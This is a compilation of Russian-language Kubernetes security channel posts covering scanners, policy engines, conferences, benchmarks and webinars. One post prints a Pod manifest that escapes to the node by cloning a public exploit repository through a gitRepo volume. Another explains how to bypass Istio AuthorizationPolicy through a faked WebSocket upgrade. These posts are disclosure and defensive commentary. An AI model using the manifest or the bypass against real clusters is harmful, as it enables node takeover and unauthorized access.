k8s (in)security

Если вы занимаетесь пентестами, то наверняка слышали о такой утилите как nuclei. Эта тулза является очень гибким и легко кастомизируемым vulnerability сканером, благодаря templates, которые пишутся на YAML.

Так вот ребята из ProjectDiscovery (авторы тулзы) решили пойти дальше и добавить темплейты для сканирования Kubernetes кластера:

- Deployment Configurations Review
- Network Policies Enforcement
- Pod Security Standards
- Compliance and Configuration Management
- Security Contexts and Roles
- Logging and Monitoring
- Secrets Management
- Vulnerability Scanning and Patch Management

Всё это доступно в темплейтах версии 9.9.0. Естественно их можно кастомизировать – писать кастомные проверки, compliance и прочее.

Читатели нашего канала недавно поделились с нами своей статьей "Threat Detection in the K8s Environment" в которой рассказывают об опыте работы своего SOC в Kubernetes. В статье идет речь про кастомный Tetragon и анализ Kubernetes Audit Log. К правилам/сигнатурам для Tetragon (как и ко всем правилам) есть вопросы, но вот Audit Policy (она полностью приводится в статье и ее можно взять за базу) и сценарии анализа ее результатов очень классные. Единственное, что на наш взгляд тут можно было бы добавить это сочетание использования с PolicyEngine (в статье о данном клаcсе решений ничего не говориться), чтобы предотвратить множество кейсов и не доводить их до расследования вообще.

В общем, очень рекомендуем для изучения (ребята молодцы!), особенно в преддверии нашего сегодняшнего вебинара «Ловим злоумышленников и собираем улики в контейнерах Kubernetes» в 11:00, где мы покажем как, на пример, можно ловить переименования бинарей (для bypass rules) вообще без правил/сигнатур/аномалий и при этом собрать артефакты для forensic ;)

P.S. Если вы написали статью или инструмент по тематике канала, то не стесняйтесь скидывать =)

Стали доступны видео докладов с прошедшей конференции CloudNativeSecurityCon North America 2024. Слайды доступны на сайте конференции.

Определенно рекомендуем ознакомиться с ними.

В полку PoliceEngine случилось пополнение и к Kyverno, OPA Gatekeeper, Kubewarden, JSPolicy присоединился Kubelatte! При этом kubelatte это отечественная разработка ребят из СберТех. Данный движок может похвастаться сразу 3 типами политик:
- Мутационными
- Валидационными
- Генерационными

Политики это специальные CRD, где сами правила можно писать с помощью двух синтаксисов:
- rego
- simples (jmespath + regexp)

Подробнее о проекте можно почитать тут или спросить в комментариях к данному посту и авторы проекта ответят ;)

P.S. Проект молодой, но по общению с командой планируются и backgroundscan, и проверка SBOM, и проверка подписи образа!

P.S.S. В Luntry уже есть интеграция с Kyverno, OPA Gatekeeper, а такими темпами и с kubelatte добавим ;)

Исследователь безопасности из Google Imre Rad нашел способ побега из контейнера в Kubernetes через deprecated volumes (начиная с 1.11) – gitRepo. Для эксплуатации необходимо соблюсти три условия: поддержка gitRepo volume type, наличие git бинаря на Node и отсутствие ограничений на использование gitRepo volume type.

Чтобы сбежать из контейнера таким способом, нужно определенным образом сконфигурировать git репозиторий и выставить gitRepo в манифесте:

apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: alpine:latest
    command: ["sleep","86400"]
    name: test-container
    volumeMounts:
    - mountPath: /gitrepo
      name: gitvolume
  volumes:
  - name: gitvolume
    gitRepo:
      directory: g/.git
      repository: https://github.com/raesene/repopodexploit.git
      revision: main

Интересно, что данной проблеме не присвоили CVE, хотя она может привести к побегу из контейнера. Автор, обнаруживший проблему уже закинул PR, фикс стоит ожидать во всех поддерживаемых версиях.

Для того чтобы детальней ознакомиться с техническими подробностями уязвимостями советуем изучить статью Imre Rad – Sneaky write hook: git clone to root on k8s node. Также Rory McCune в статье Fun With GitRepo Volumes показал чего может добиться злоумышленник, используя данную уязвимость

"Advanced Linux Detection and Forensics Cheatsheet" - полезный систематизирующий документ по моментам связанным с обнаружением и расследованием инцидентов в Linux. Вы определенно можете отметить как много всего есть и как много куда надо смотреть в Linux (и от этого даже может заболеть голова). В документе упоминается и ряд моментов связанных с контейнерами и K8s. Но если прям специализироваться и затачиваться под последнее, то на их специфике можно сделать много всего интересного и очень полезного. Об этом мы как раз расскажем и покажем на будущем вебинаре «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».

Статья How to create a multi clusters secure supply chain (SLSA 3) in 10min (OSS edition) будет хорошей отправной точкой, если вы хотите построить Supply Chain Security на базе Kubernetes в своей инфраструктуре.

В этой статье представлено пошаговое руководство по созданию собственной безопасной цепочки поставок. Применяя описанные лучшие практики, вы сможете лучше защитить инфраструктуру на базе Kubernetes от потенциальных уязвимостей в приложениях и сохранить их целостность на протяжении всего их жизненного цикла.

P.S. – все материалы используемые в статье доступны в репозитории тут.

P.P.S – вопрос безопасности Supply Chain в Kubernetes мы поднимали в свежем докладе "Механизмы Kubernetes против атак supply chain"

Наша команда Luntry очень любит тему observability и красивую визуализацию. И данный проект нас не оставил равнодушными!

Речь идёт о проекте VpK, что является акронимом для Visually presented Kubernetes. В данном инструменте есть много и разных способов визуализации ресурсов в кластере! Подробнее о проекте можно узнать из документации. Отдельно обратите внимание на режим Security, который посвящен RBAC (и очень сильно напоминает rbac-tool).

Некоторое время назад мы уже писали про Cloud Threat Landscape и вот он обновился и там появился раздел Defenses. В данном разделе собраны защитные меры для противодействиям облачным атакам с кратким описанием и мапингом на D3FEND тактики. В общем, полезная вещь для систематизации своих знаний в данной области)

В конце апреля вышла новая версия CIS Kubernetes Benchmark под номером 1.9 для Kubernetes 1.27 – 1.29. Особо критических изменений в бенчмарке не было (их можно посмотреть в конце документа в разделе appendix):

- автоматизировали проверки с 5.1.1 по 5.1.6
- в пунктах 1.1.13 и 1.1.14 были изменены названия (появился super-admin.conf – об этом мы рассказывали в одном из предыдущих постов)

Конечно всякие Open Source инструменты, вроде kube-bench, уже обновили свои конфиги и поддерживают версию 1.9. Однако не стоит забывать о том, что такие инструменты не показывают полной и объективной картины происходящего на предмет соответствия кластера по CIS. Об этом кстати мы рассказывали в одном из прошлых вебинаров – "Соответствует ли ваш Kubernetes-кластер лучшим практикам?"

16 июля в 11:00 наша команда Luntry проведет webinar на тему «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».

Там мы рассмотрим следующие темы:

– способы обнаружения злоумышленника в контейнерных окружениях;
– какие подходы могут эффективно помочь в расследовании и реагировании на инциденты;
– возможности Luntry, полезные для Incident Response: собрать артефакты для расследования и остановить злоумышленника.

Регистрация на вебинар по ссылке.

Проект camblet это Kernel Space Access Control для Zero Trust Networking для организации fine-grained, zero-trust для идентификации нагрузок и контроля доступа, именно:
- аутентификации
- авторизации
- шифрования

Взаимодействия между нагрузками, которые могут быть запущены как в Kubernetes, так и просто на хосте вне контейнера!

Инструмент был представлен в рамках доклада "Leveraging the Linux Kernel for Building a Zero-Trust Environment Without a Service Mesh" на прошедшей CloudNativeSecurityCon North America 2024.

Пока проект, конечно, больше выглядит как PoC, но сам подход к реализации через ядро Linux, без sidecar очень интересен)

В теме этого хотелось бы также напомнить про замечательный доклад "Все ли Service Mesh одинаковы полезны для ИБ?" от Максима Чудновского с БеКон 2024.

Относительно недавно Open Container Initiative (OCI) community представило новую версию OCI Image Spec v1.1.0. Одно из ключевых изменений в этой версии спецификации это добавление поддержки metadata artifacts.

В artifacts можно хранить любую metadata, асоциированную с OCI image, а это – SBOM, signatures, attestations и vulnerability scanning reports. Помимо этого, в artifacts можно указать так называемаем non-containers artifacts: Helm Charts, Kubernetes manifest files, WASM modules, OPA bundles, Bicep files.

P.S. – Azure Container Registry уже поддерживает OCI Image Spec v1.1.0.

26-27 июня прошел CloudNativeSecurityCon North America 2024. Большая часть слайдов с конференции уже доступна в разделе расписания. На мой взгляд это конференциям прям удалась по контенту - очень много всего интересного. За изучением материала провел практически все выходные) В этот раз даже не будем выделять какие-то презентации иначе их будет около 15!

Если попытаться выделить какие-то основные трендовые мысли, то получится примерно следующее:
- Вектор развития на ZeroTrust как с точки зрения сети, так и работы самих приложений
- Безопасность AI/ML приложений и инфраструктур
- Закрепление неэффективности сигнатурных подходов детектирование и переход к поведенческим
- Важность сборов артефактов для расследования инцидентов в контейнерах
- Прямолинейный ориентир на количество CVE не дает никакой пользы
- Развитие Supply Chain Security за пределы классического SBOM в сторону Dynamic SBOM, VEX, моделей поведения

P.S. Подсвечу всё-таки один доклад - "User Namespaces in Kubernetes: Security and Flexibility", который является идейным близнецом моего доклада "Linux user namespace в чертогах Kubernetes" с нашего БеКон 2024 ;)

С 2021 года с любопытством слежу за двумя PolicyEngine: Kubewarden, JsPolicy, - которые примечательны тем что, позволяют разрабатывать политики безопасности с использованием языков программирования общего назначения. Там политики можно писать на всем, что компилиться в WASM и на JavaScript/TypeScript соответственно.

Время показывает, что популярность они так и не завоевали ... На практике, необходимость написания политики на каком-то ЯП общего назначения для проверки YAML это прям что-то очень эдакое (хотя, конечно, подтянуть задачу под условия можно). Получаем чрезмерную мощь с кучей сложностей по контролю, поддержки и развитию (их еще отдельным статическим анализатором надо проверять как любой код и контролировать на закладки ;) ) ...

По нашему опыту ни один из этих движков мы на проектах не встречали (да и на конфах и статьях они мелькаю редко). Бесспорными лидерами тут являются Kyverno и OPA Gatekeeper! И да не забываем про развивающиеся встроенные политики Kubernetes Validating Admission Policies, которые тоже не пошли по пути ЯП общего назначения, а выбрали CEL.

Istio (а точнее Envoy, используемый под капотом) как обычно щедр на баги. Ресерчеры из Snyk нашли способ обойти AuthorizationPolicy. Для байпаса Istio изначально веб-приложение должно быть уязвимо к HTTP header injection. При такой уязвимости query параметры подставляются в заголовки ответа.

Чтобы проэксплуатировать уязвимость для начало необходимо убедить Istio, что TCP соединение было успешно преобразовано в WebSocket. Для этого в параметрах и заголовках к запросу необходимо выставить параметры upgrade=websockets и connection=upgrade. При этом сервер вернёт 200-ый код ответа, что не типично при успешном переключении на WebSocket. После этого все запросы отправленные на ручки, ограниченные AuthorizationPolicy, будут успешно проходить.

Уязвимости присвоили CVE-2024-23326, необходимые патчи уже выпущены.

P.S – Актуальный доклад про внедрение AuthorizationPolicy с прошедшего БеКон 2024.

P.S.S – Использование механизмов Service Mesh не освобождает от использования Network Policy.

27 июня в Москве пройдет BI.ZONE Cybersecurity Meetup, посвященный мониторингу и реагированию в контейнерах.

На встрече выступит Сергей Канибор, специалист Luntry, с темой «Поймай меня, если сможешь: как обнаружить следы злоумышленника в Kubernetes-инфраструктуре».

В ходе доклада вы узнаете какие подходы смогут эффективно помочь в расследовании и реагировании инцидентов, когда стало понятно, что злоумышленник скомпрометировал контейнер.

secretgen-controller это контроллер, который предоставляет возможность с помощью специальных CRD генерировать Secret с определенным типом информации. Из поддерживаемых:
- Certificate (CAs, leafs)
- Password
- RSA Key
- SSH Key
- Secret Template Field

Тоесть не вы туда вписываете информацию, а она туда генерируется автоматически.

Также есть возможность:
- Импортировать и экспортировать секреты между namespaces с помощью SecretExport и SecretImport
- Описывать как создавать секрет из информации из других ресурсов с помощью SecretTemplate

Подробнее с проектом можно ознакомиться в документации и в директории с примерами.

Так данный контроллер должен быть интересен тем кто работает с секретами методом push (а не pull).

A Kubernetes Pentesting Checklist – неплохой по наполнению чеклист, чтобы удостовериться, что вы ничего не забыли про проведения пентеста в Kubernetes инфраструктуре. Включает в себя проверки Control Plane, RBAC Abuse и EKS.

Само собой, не стоит забывать про сетевые атаки, container escapes и другие актуальные техники для k8s окружения.

P.S. По нашему опыту проведения аудитов Kubernetes кластеров, именно благодаря избыточным RBAC привилегиям, а также уязвимостям компонентов Kubernetes кластера удаётся не только сбежать из контейнера, но и получить cluster-admin.

Стали доступны записи докладов с конференции fwd:cloudsec North America 2024!

P.S. Записи докладов с БеКон 2024 еще готовятся.

P.S.S. Сегодня можно в живую встретиться и пообщаться на Saint HighLoad++ 2024 ;)